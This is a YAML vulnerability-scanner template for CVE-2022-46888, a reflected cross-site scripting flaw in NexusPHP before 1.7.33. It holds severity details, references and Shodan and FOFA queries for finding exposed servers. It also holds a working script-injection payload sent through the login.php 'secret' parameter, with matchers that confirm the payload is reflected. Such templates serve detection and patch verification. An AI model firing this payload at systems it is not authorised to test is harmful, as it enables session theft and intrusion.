NexusPHP <1.7.33 - Cross-Site Scripting

id: CVE-2022-46888

info:
  name: NexusPHP <1.7.33 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..
  impact: |
    Attackers can inject malicious JavaScript through multiple parameters including secret in login.php, potentially stealing session cookies and credentials when users interact with crafted URLs in NexusPHP.
  remediation: |
    Upgrade to NexusPHP version 1.7.33 or later to mitigate this vulnerability.
  reference:
    - https://www.surecloud.com/resources/blog/nexusphp-surecloud-security-review-identifies-authenticated-unauthenticated-vulnerabilities
    - https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46888
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46888
    cwe-id: CWE-79
    epss-score: 0.01543
    epss-percentile: 0.71944
    cpe: cpe:2.3:a:nexusphp:nexusphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nexusphp
    product: nexusphp
    shodan-query:
      - http.favicon.hash:-582931176
      - cpe:"cpe:2.3:a:nexusphp:nexusphp"
    fofa-query: icon_hash=-582931176
  tags: cve,cve2022,nexus,php,nexusphp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>">'
          - 'NexusPHP'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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